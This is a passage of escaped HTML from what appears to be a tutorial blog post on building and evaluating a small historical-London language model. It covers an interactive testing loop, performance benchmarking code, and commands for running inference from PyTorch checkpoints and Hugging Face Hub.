&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; prompt&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;lower() &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;quit&amp;#39;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#c6a0f6&#34;&gt;break&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;elif&lt;/span&gt; prompt&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;lower() &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;test_historical&amp;#39;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                run_historical_tests(model, tokenizer, device)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;elif&lt;/span&gt; prompt&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;lower() &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;test_linguistic&amp;#39;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                run_linguistic_tests(model, tokenizer, device)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;elif&lt;/span&gt; prompt&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;lower() &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;test_performance&amp;#39;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                run_performance_tests(model, tokenizer, device)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;elif&lt;/span&gt; prompt:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Generate text&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                generated &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; generate_text(model, tokenizer, prompt, device)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Generated: &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;generated&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Analyze generated text&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                analysis &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; analyze_generated_text(generated, prompt)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Analysis: &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;analysis&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Please enter a valid prompt or command.&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;except&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;KeyboardInterrupt&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;Exiting interactive testing mode...&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;break&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;except&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;Exception&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;as&lt;/span&gt; e:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Error: &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;e&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Please try again.&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;analyze_generated_text&lt;/span&gt;(text, prompt):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&amp;#34;Analyze generated text for quality and accuracy&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    analysis &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;length&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#91d7e3&#34;&gt;len&lt;/span&gt;(text),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;sentences&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#91d7e3&#34;&gt;len&lt;/span&gt;(nltk&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;sent_tokenize(text)),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;historical_accuracy&amp;#39;&lt;/span&gt;: assess_historical_accuracy(text, {}),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;linguistic_quality&amp;#39;&lt;/span&gt;: assess_linguistic_quality(text),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;coherence&amp;#39;&lt;/span&gt;: assess_coherence(text),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;relevance&amp;#39;&lt;/span&gt;: assess_relevance(text, prompt)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; analysis&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Listing 5: Interactive Testing Interface&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Interactive mode lets you try prompts, run quick tests, and see immediate analysis.&lt;/p&gt;
&lt;h3 id=&#34;33-performance-benchmarking&#34;&gt;3.3 Performance Benchmarking&lt;/h3&gt;
&lt;p&gt;Performance benchmarking follows the same pattern: generate controlled workloads and measure speed and resource usage. &lt;a href=&#34;#listing6&#34; class=&#34;listing-ref&#34;&gt;Listing 6&lt;/a&gt; illustrates how we vary sequence length, measure average latency, and compute tokens-per-second, alongside separate helpers for memory, batch throughput, long-sequence handling, and basic concurrency.&lt;/p&gt;
&lt;figure id=&#34;listing6&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;benchmark_model_performance&lt;/span&gt;(model, tokenizer, device&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;cuda&amp;#39;&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&amp;#34;Benchmark model performance across different scenarios&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    benchmarks &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;inference_speed&amp;#39;&lt;/span&gt;: benchmark_inference_speed(model, tokenizer, device),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;memory_usage&amp;#39;&lt;/span&gt;: benchmark_memory_usage(model, device),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;batch_processing&amp;#39;&lt;/span&gt;: benchmark_batch_processing(model, tokenizer, device),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;long_sequence_handling&amp;#39;&lt;/span&gt;: benchmark_long_sequences(model, tokenizer, device),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;concurrent_requests&amp;#39;&lt;/span&gt;: benchmark_concurrent_requests(model, tokenizer, device)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; benchmarks
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;benchmark_inference_speed&lt;/span&gt;(model, tokenizer, device):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&amp;#34;Benchmark inference speed for different sequence lengths&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    sequence_lengths &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; [&lt;span style=&#34;color:#f5a97f&#34;&gt;50&lt;/span&gt;, &lt;span style=&#34;color:#f5a97f&#34;&gt;100&lt;/span&gt;, &lt;span style=&#34;color:#f5a97f&#34;&gt;200&lt;/span&gt;, &lt;span style=&#34;color:#f5a97f&#34;&gt;500&lt;/span&gt;, &lt;span style=&#34;color:#f5a97f&#34;&gt;1000&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    results &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; {}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; length &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; sequence_lengths:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Generate test prompts of different lengths&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        prompts &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; generate_test_prompts(length, num_prompts&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;100&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Measure inference time&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        start_time &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; time&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;time()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; prompt &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; prompts:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            generate_text(model, tokenizer, prompt, device)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        end_time &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; time&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;time()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        total_time &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; end_time &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&lt;/span&gt; start_time
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        avg_time_per_prompt &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; total_time &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;/&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;len&lt;/span&gt;(prompts)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        tokens_per_second &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; length &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;/&lt;/span&gt; avg_time_per_prompt
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        results[length] &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;avg_time_per_prompt&amp;#39;&lt;/span&gt;: avg_time_per_prompt,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;tokens_per_second&amp;#39;&lt;/span&gt;: tokens_per_second,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;total_time&amp;#39;&lt;/span&gt;: total_time
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; results&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Listing 6: Performance Benchmarking&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Benchmarks capture inference speed, memory, batch throughput, long-sequence handling, and simple concurrency.&lt;/p&gt;
&lt;h2 id=&#34;4-model-deployment-and-publishing&#34;&gt;4. Model Deployment and Publishing&lt;/h2&gt;
&lt;p&gt;With evaluation and testing complete, we&amp;rsquo;re ready to make our models available for use. This section covers the two deployment paths we support: direct inference from PyTorch checkpoints (useful during development and for maximum control) and publishing to Hugging Face Hub (for easy sharing and community access).&lt;/p&gt;
&lt;p&gt;As called out in &lt;a
	
		href = &#34;/post/2025/09/building-llm-from-scratch-part1/&#34;
	

	

	&gt;
	
	&lt;span&gt;
		Part 1
	&lt;/span&gt;
&lt;/a&gt;, both the SLM (117M parameters) and the Regular Model (354M parameters) are fully trained and available. The SLM has already been published on &lt;a
	
		href = &#34;https://huggingface.co/bahree/london-historical-slm&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Hugging Face Hub
	&lt;/span&gt;
&lt;/a&gt;, while the Regular Model is ready for publication. Both can also be run directly from local PyTorch checkpoints.&lt;/p&gt;
&lt;h3 id=&#34;41-two-paths-to-inference&#34;&gt;4.1 Two Paths to Inference&lt;/h3&gt;
&lt;p&gt;We provide two complementary ways to run inference, each suited to different use cases.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;PyTorch Checkpoint Inference&lt;/strong&gt; gives you direct access to the trained model weights without any conversion overhead. This is ideal during development, when you want to test a freshly trained checkpoint, or when you need maximum control over the inference process. The checkpoints live in &lt;strong&gt;&lt;code&gt;09_models/checkpoints/&lt;/code&gt;&lt;/strong&gt; - the SLM at &lt;strong&gt;&lt;code&gt;slm/checkpoint-4000.pt&lt;/code&gt;&lt;/strong&gt; (117M parameters) and the Regular Model at &lt;strong&gt;&lt;code&gt;checkpoint-60001.pt&lt;/code&gt;&lt;/strong&gt; (354M parameters). The &lt;strong&gt;&lt;code&gt;inference_pytorch.py&lt;/code&gt;&lt;/strong&gt; script handles loading these directly: &lt;a href=&#34;#listing7&#34; class=&#34;listing-ref&#34;&gt;Listing 7&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&#34;listing7&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# SLM inference from checkpoint&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python 06_inference/inference_pytorch.py &lt;span style=&#34;color:#8aadf4&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;&lt;/span&gt;  --checkpoint 09_models/checkpoints/slm/checkpoint-4000.pt &lt;span style=&#34;color:#8aadf4&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;&lt;/span&gt;  --prompt &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;In the year 1834, I walked through the streets of London and witnessed&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Regular model inference from checkpoint&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python 06_inference/inference_pytorch.py &lt;span style=&#34;color:#8aadf4&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;&lt;/span&gt;  --checkpoint 09_models/checkpoints/checkpoint-60001.pt &lt;span style=&#34;color:#8aadf4&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;&lt;/span&gt;  --prompt &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;In the year 1834, I walked through the streets of London and witnessed&amp;#34;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Listing 7: Running Inference from PyTorch Checkpoints&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;&lt;strong&gt;Hugging Face Model Inference&lt;/strong&gt; uses the published models on Hugging Face Hub, which means anyone can load and use them with just a few lines of code - no need to download checkpoints or set up the full training environment. The &lt;strong&gt;&lt;code&gt;inference_unified.py&lt;/code&gt;&lt;/strong&gt; script provides a consistent interface for both published models and local checkpoints: &lt;a href=&#34;#listing8&#34; class=&#34;listing-ref&#34;&gt;Listing 8&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&#34;listing8&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Published model inference (downloads from Hugging Face Hub)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python 06_inference/inference_unified.py &lt;span style=&#34;color:#8aadf4&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;&lt;/span&gt;  --published &lt;span style=&#34;color:#8aadf4&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;&lt;/span&gt;  --model_name bahree/london-historical-slm &lt;span style=&#34;color:#8aadf4&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;&lt;/span&gt;  --prompt &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;In the year 1834, I walked through the streets of London and witnessed&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Interactive mode for exploration&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python 06_inference/inference_unified.py --published --model_type slm --interactive
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
